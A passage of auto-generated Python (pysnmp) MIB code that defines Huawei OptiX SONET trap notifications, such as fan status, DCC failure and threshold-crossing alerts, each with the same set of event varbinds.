evtFanIsOpened = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36926)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFanIsOpened.setStatus('current') evtFanIsClosed = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36927)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtFanIsClosed.setStatus('current') evtPathLevelMismatch = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36928)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtPathLevelMismatch.setStatus('current') evtTcaCVLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36930)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaCVLine.setStatus('current') evtDCCFailureIndication = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36936)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtDCCFailureIndication.setStatus('current') evtLanLossOfCarrierSignal = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36937)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtLanLossOfCarrierSignal.setStatus('current') evtTcaCVCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36938)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaCVCPPath.setStatus('current') evtTcaCVPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36939)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaCVPath.setStatus('current') evtTcaCVPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36940)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaCVPPath.setStatus('current') evtTcaCVSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36941)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaCVSection.setStatus('current') evtTcaCVVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36942)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaCVVT.setStatus('current') evtTcaESCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36943)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaESCPPath.setStatus('current') evtTcaESLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36944)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaESLine.setStatus('current') evtTcaESPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36945)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaESPath.setStatus('current') evtTcaESPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36946)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaESPPath.setStatus('current') evtTcaESSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36947)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaESSection.setStatus('current') evtTcaESVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36948)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaESVT.setStatus('current') evtTcaPjcsPdet = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36949)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaPjcsPdet.setStatus('current') evtTcaPjcsVdet = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36950)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaPjcsVdet.setStatus('current') evtTcaSESCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36951)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaSESCPPath.setStatus('current') evtTcaSESLine = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36952)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaSESLine.setStatus('current') evtTcaSESPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36953)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaSESPath.setStatus('current') evtTcaSESPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36954)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaSESPPath.setStatus('current') evtTcaSESSection = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36955)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaSESSection.setStatus('current') evtTcaSESVT = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 36956)).setObjects(("OPTIX-SONET-TRAPS-MIB", "rptEvtMOD2"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSlot"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPort"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPath"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtVT"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtEffect"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDateTime"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtLocation"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDirection"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtMonValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtThValue"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtPeriod"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtDescription"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtAiddet"), ("OPTIX-SONET-TRAPS-MIB", "rptEvtSeqNumber")) if mibBuilder.loadTexts: evtTcaSESVT.setStatus('current') evtTcaUASCPPath = NotificationType((1, 3, 6, 1, 4, 1, 2011, 2, 25, 3, 20, 40, 20, 